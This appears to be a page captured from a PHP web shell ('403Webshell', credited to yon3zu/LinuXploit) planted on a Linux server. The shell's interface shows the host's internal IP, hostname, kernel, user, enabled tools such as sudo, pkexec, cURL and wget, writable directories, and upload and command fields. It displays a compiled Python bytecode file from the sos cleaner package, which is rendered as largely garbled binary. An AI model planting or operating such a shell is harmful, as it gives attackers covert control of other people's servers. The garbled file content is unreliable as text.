403Webshell
Server IP : 172.24.0.40  /  Your IP : 216.73.216.239
Web Server : Apache
System : Linux dbweb26.ust.edu.ph 4.18.0-513.5.1.el8_9.x86_64 #1 SMP Fri Sep 29 05:21:10 EDT 2023 x86_64
User : apache ( 48)
PHP Version : 8.2.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3.6/site-packages/sos/cleaner/preppers/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3.6/site-packages/sos/cleaner/preppers/__pycache__/usernames.cpython-36.pyc
3

3��d��@s ddlmZGdd�de�ZdS)�)�
SoSPrepperc
@s4eZdZdZdZddddddd	d
ddg
Zdd
�ZdS)�UsernamePrepperz�
    This prepper is used to source usernames from various `last` output content
    as well as a couple select files. This prepper will also leverage the
    --usernames option.
    ZusernameZcoreZnobodyZ	nfsnobodyZshutdown�stackZreboot�rootZubuntuZwtmpc	
Cs�t�}ddddddg}x�|D]�}|j|�}|s0qxn|j�D]b}yH|j�dj�}|r�||jkr�|j|�d|kr�|j|jd�d
�Wq:tk
r�Yq:Xq:WqWx$|jj	D]}||jkr�|j|�q�W|S)Nz(sos_commands/login/lastlog_-u_1000-60000z)sos_commands/login/lastlog_-u_60001-65536z.sos_commands/login/lastlog_-u_65537-4294967295zsos_commands/login/lastzetc/cron.allowz
etc/cron.denyr�\����)
�setZget_file_content�
splitlines�split�lower�	skip_list�add�	ExceptionZoptsZ	usernames)	�self�archive�items�_filesZ_fileZcontent�line�userZopt_user�r�/usr/lib/python3.6/usernames.py�_get_items_for_username$s0



z'UsernamePrepper._get_items_for_usernameN)�__name__�
__module__�__qualname__�__doc__�namer
rrrrrrsrN)Zsos.cleaner.preppersrrrrrr�<module>s

Youez - 2016 - github.com/yon3zu
LinuXploit